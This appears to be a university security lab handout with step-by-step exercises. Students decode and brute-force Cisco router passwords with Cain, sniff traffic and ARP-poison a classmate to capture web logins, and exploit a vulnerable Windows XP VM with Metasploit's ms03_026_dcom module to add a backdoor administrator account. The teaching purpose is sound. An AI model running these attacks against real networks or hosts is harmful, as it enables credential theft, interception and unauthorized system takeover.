Demonstrating Network Attacks

The lab will be run on Windows 2003 Server or Windows XP.

Important! All necessary files and programs can be downloaded from:

`http://swarm.cs.pub.ro/~andrei27/lab1`

Also, this document and the Packet Tracer topology can be downloaded from your course's web page.

Virtual machines will be provided when needed, as described in the following sections.

Required software:

- **Wireshark**[1]
- **Cain**[2]
- **Nessus**[3]
- **Packet Tracer**[4]
- **Metasploit Framework**[5]

1 Attack one – Breaking passwords

Required software:

- Cain
- Packet Tracer

Perhaps the simplest attack method possible is spying on someone's computer over her/his shoulder ☺. It is non-intrusive and it only requires a „victim" that is unaware of the fact that is being spied on.

Of course, watching someone introducing a password and remembering it is a perfectly good example and this is why most passwords are not printed in clear text on the screen while they are being typed. Some programs won't even display bullets or asterisks instead of passwords, so that the length of the password cannot be determined.

Network devices, for example, store a configuration file which holds all the commands and parameters the network administrator has configured on that specific device. Devices usually have passwords and these passwords have to be stored *somehow* in the same configuration file.

There are two main ways of storing passwords in text files:

[1] http://www.wireshark.org/download.html
[2] http://www.oxid.it/cain.html
[3] http://www.nessus.org/download/
[4] http://www.cisco.com/web/learning/netacad/course_catalog/PacketTracer.html
[5] http://www.metasploit.com/framework/download/

- Clear-text - anyone can see and read;
- Encrypted with a cypher – knowing the algorithm allows you to reverse it and determine the password that generated the cypher;
- Hash – the password cannot be determined from the hash; the device calculates the hash of the input password and compares it with the one stored to validate the pasword.

Fortunately, you'll learn how to break both of the last two methods!

1.1 *Decoding a cypher password*

Encoding a password is often considered a weak encryption method becaue most cyphers can be reversed in a few seconds (at most). Their only true usage is to avoid „shoulder-peeking", that is, avoid having someone read the passwords while you're browsing through a network device's configuration file.

Tasks:

1. Download and install Packet Tracer.
2. Download and open the Lab1.pkt file. Packet Tracer will start automatically and you will see a laptop connected to a router. The connection between the two has been made using a cross-over cable with the following IP addresses on the ends:
   - PC: 10.0.0.2
   - Router: 10.0.0.1
3. Click the laptop and go to the Desktop tab. Click Command prompt. The PC's command prompt is displayed, resembling a Windows cmd.exe environment.
4. Try to open a telnet connection to the router. Type the following command:

```
telnet 10.0.0.1
```

5. You are prompted to enter a password that you do not know. Close the command prompt and leave the laptop's control panel.

   Let's assume now that an absent-minded administrator forgot to disconnect his session from the router. You have access to the router's command prompt and you might be interested in obtaining the telnet password.

6. Click the router. Go to the CLI tab and press the Enter key until the following prompt appears:

```
Router#
```

7. Enter the following command to view the configuration file and press Enter:

```
Router#show running-config
```

8. Press the space key to scroll through the end of the configuration file. You will find the following section:

```
line vty 0 4
password 7 [some long alphanumeric string]
```

9. This is the password that's preventing you from telneting to the router. You will learn more about what is a vty in a following lab. For now, look at the second line. The „7" indicates a „Cisco type-7 encryption", which is a transposition algorithm. The string that follows is the cypher you need to decode.
10. Start the Cain application. On the toolbar, look for the „Cisco Type-7 Password Decoder" button and click it.
11. Type the string from the configuration file in the decoder. Congratulations! You just found out the telnet password.
12. Close the router's control panel, go to the laptop's command prompt, telnet to the router and use the password you found. When you see the `Router>` prompt, you are done!

1.2 *Cracking a hashed password*

Hashed passwords cannot be determined so easily because the password cannot be determined from the hash. This is why most hashed passwords are cracked by using brute-force attacks or dictionary attacks.

1. Open the Lab1.pkt file or continue from the previous exercise.
2. Click the laptop, go to the Desktop tab, then click the Command Prompt. Telnet to the router in the same manner as before, using the password you discovered.
3. At the router's `Router>` prompt, type the following command:

```
Router>enable
```

4. Another password. What a surprise! The `enable` command allows you to enter the privileged configuration mode (this is quite similar to a „root" account on a Linux computer). You will learn more about privileges in a later lab. For now, let's just crack it!
5. Close the laptop's control panel and click the router. Go to the CLI tab and type the same command as before: `show running-config`.
6. On the first screen you should see a line that looks like this:

```
enable secret 5 [some unintelligible string]
```

7. This is the password that's preventing you from entering the privileged mode. The „5" ahead of the string indicates that this is an MD5 hash, which cannot be reversed (as far as we know). We'll have to use a brute-force attack on this hash to determine the password.
8. Start the Cain application or continue using it from the previous exercise. Click the Cracker tab and then click the „+" (plus) sign on the toolbar. Copy and paste the hash (without the „5") and add it.
9. Right-click the newly added hash string and choose brute-force attack.
10. Select the charset that only includes the alphabet (no digits), so that you won't have to order a pizza until the cracking is done...
11. Click start. Wait. Enjoy! You have cracked the MD5 password. Think about how short the password was, how restrictive was the charset and how long you had to wait. That's not something you can to with a „strong" password, is it?
12. Go back to Packet Tracer, click the computer, go to the Desktop tab and then the Command Prompt. Telnet to the router, enter the enable command and then the password you decrypted. When you see the `Router#` prompt, you're done! („#" indicates privileged mode).

2 Attack two – Sniffing the network

Required software:

- Wireshark
- Cain

On a switched network (that is, a network using switches...) you cannot simply intercept all the traffic because switches do not send traffic on ports that do not need it. However, you can still listen to broadcasts, multicasts and, of course, your own traffic.

2.1 Using Wireshark to sniff your own... traffic

1. Shutdown Cain and Packet Tracer.
2. Download, install and start Wireshark.
3. Click on the first button on the toolbar and start capturing traffic from your network interface card. Leave the capture running for about 1-2 minutes.
4. What protocols do you recognize? Note 5 known protocols.
5. Select a packet and observe the encapsulation on the lower pane. Extend the protocol headers and identify which protocols are found inside the packet, what flags are used and what is the packet's data content.
6. Apply a filter on captured packets to select only ARP packets.
7. Apply a filter on captured packets to select only the packets sent from your network interface (apply a filter on the source MAC address).

Hint: Wireshark's filter syntax is the same as tcpdump's.

2.2 Using Cain to make a Man-in-the-middle attack

You will have to work in pairs. Choose one colleague. Make sure that ONLY ONE of you executes the following tasks:

1. Download, install and start Cain
2. Once started, click Configure in the menu and make sure the network interface is properly selected.
3. Click the second button on the toolbar: „Start/stop sniffer".
4. Click the „Sniffer" upper tab and then the „Hosts" lower tab.
5. Click the plus sign on the toolbar then click OK. Leave all settings at their defaults. You have kow obtained a list of the IP addresses in your network.
6. From the lower tab list, click APR and make sure APR is also selected in the left tree view.
7. To the right of the tree view there are two areas. Click inside the upper one and the plus sign again on the toolbar.
8. To the left, select the network's real gateway. To the right, select your colleague's IP address and click OK.
9. Now click the third button on the toolbar, to start ARP Poisoning.
10. For your colleague: point your browser to http://docs.ccna.ro. Go to the CCNA course on the left and try to access a curriculum. The username is „cisco" and the password is „ccna" (without the quotes).
11. The username and the passwod should now appear in Cain in the Sniffer tab, under the Passwords lower tab (HTTP protocol).

3 Attack three – Exploits

Required software:

- Nessus
- Metasploit
- Windows XP SP1 virtual machine

Exploits are programs, sequences or input data used to take advantage of certain vulnerabilities in applications. They usually cause the application to crash or give the user of the exploit certain privileges in the application itself.

The following exercise will demonstrate the use of such an exploit. You will use a virtual machine with Windows XP SP1 that has many known vulnerabilities. You will exploit one of them in order to gain Administrator access to the virtual machine, without knowing the Administrator password or any other account.

1. Shut down Cain and Wireshark and any previous software that might be running.
2. Open the Nessus Server and the Nessus Client. In the client interface, click `connect` and connect the client to the local server. The server might take long to start.
3. Start VMware Workstation, boot the Windows XP virtual machine and wait until it is finished booting. The lab assistant will tell you how to find the virtual machine's IP address. Really, ask him!
4. In the left pane, add the Windows XP virtual machine's IP address.
5. In the right pane, click the plus sign to add a scan policy. In the „Plugin section" tab, unckeck all plugins **except** the following: Backdoors, Denial of Service, Firewalls, Gain a shell remotely, Gain root remotely, General, RPC, Remote file access, Service detection, Settings, Web servers and all „Windows" plugins. Save the policy
6. Select the target, select the policy and click `Scan now`. It might take about 5 minutes.
7. After the scanning is over, export it to an HTML file for easier reference. Look for vulnerabilities marked with red. You should find one that says `Microsoft RPC Interface Buffer Overrun`.

An now, to prepare the exploit.

1. Download and install the Metasploit Framework (no not install nmap when prompted) and wait until it initializes (~1 min).
2. After the Metasploit GUI starts, choose Window > Console from the menu. It's safer than the GUI...
3. Type `search rpc` in the command prompt. Find the one that says `ms03_036_dcom`.
4. Type use `windows/dcerpc/ms03_026_dcom`. The prompt changes.
5. Type `show options` to view the options for this exploit. As you can see, RHOST (remote host) has no current setting. RHOST is the target's address. So type `set rhost virtual_machine_ip` and replace `virtual_machine_ip` with its real IP address. Type `show options` again to verify.
6. A payload is needed for a buffer overflow. Type `show payloads`.
7. Type `set payload windows/meterpreter/bind_tcp`. Do a `show options` again to verify that the payload has been set.
8. All done. Type `exploit` and wait.

You should have successfully created a connection to the virtual machine and the prompt should have changed to „meterpreter>". Let's add our very own administrator.

1. Type `use incognito` at the meterpreter prompt.
2. Type `add_user gigi parola` to add the user `gigi` with the password `parola` (you can add whatever user you want if you don't like this Gigi guy...)
3. Now let's add the user to the Administrators group. Type `add_localgroup_user Administrators gigi`. (or the username that you added)
4. You're done. Go to VMWare and log in with your newly created admin. Congratulations for getting this far!